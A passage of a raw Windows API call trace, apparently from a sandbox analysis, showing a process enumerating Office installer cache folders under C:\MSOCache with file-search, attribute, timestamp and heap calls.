dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0036.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86088 [0036.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83868 [0036.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.414] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0036.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf860a8 [0036.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83970 [0036.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.414] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0036.414] GetLastError () returned 0x12 [0036.414] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60e6b0 [0036.414] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0036.414] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.414] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="")) returned 1 [0036.414] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="")) returned 1 [0036.414] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0036.415] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0036.415] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0036.415] GetLastError () returned 0x12 [0036.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf86470) returned 1 [0036.415] FindClose (in: hFindFile=0x60e6b0 | out: hFindFile=0x60e6b0) returned 1 [0036.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf86578) returned 1 [0036.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85a58) returned 1 [0036.415] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.415] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.415] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0037.874] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0037.875] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0037.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0037.875] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0037.875] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0037.875] NtClose (Handle=0x184) returned 0x0 [0037.875] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0037.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0037.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0037.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0037.875] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0037.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0037.875] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60b670 [0038.279] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.279] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0038.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0038.284] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0038.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf860c8 [0038.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83d90 [0038.286] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.286] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="")) returned 1 [0038.286] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.286] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.286] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.288] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.288] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.288] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf860e8 [0038.288] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83e98 [0038.288] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.289] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="")) returned 1 [0038.289] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.289] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.290] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.290] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.290] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.290] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86108 [0038.291] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83fa0 [0038.294] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.294] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0038.296] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.297] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.297] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.298] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.300] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86128 [0038.300] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf840a8 [0038.301] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.301] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0038.301] GetLastError () returned 0x12 [0038.301] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60e6b0 [0038.304] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0038.306] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.307] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0038.307] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="")) returned 1 [0038.308] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="")) returned 1 [0038.309] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0038.309] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0038.310] GetLastError () returned 0x12 [0038.310] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0038.311] FindClose (in: hFindFile=0x60e6b0 | out: hFindFile=0x60e6b0) returned 1 [0038.323] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0038.323] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0038.323] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0038.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.324] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0038.334] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0038.415] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0038.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0038.417] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0038.417] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0038.417] NtClose (Handle=0x180) returned 0x0 [0038.417] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0038.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0038.417] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0038.417] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60b670 [0038.417] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.419] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0038.419] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.419] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.419] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.419] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.419] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0038.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0038.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0038.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86148 [0038.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf841b0 [0038.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0038.423] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, 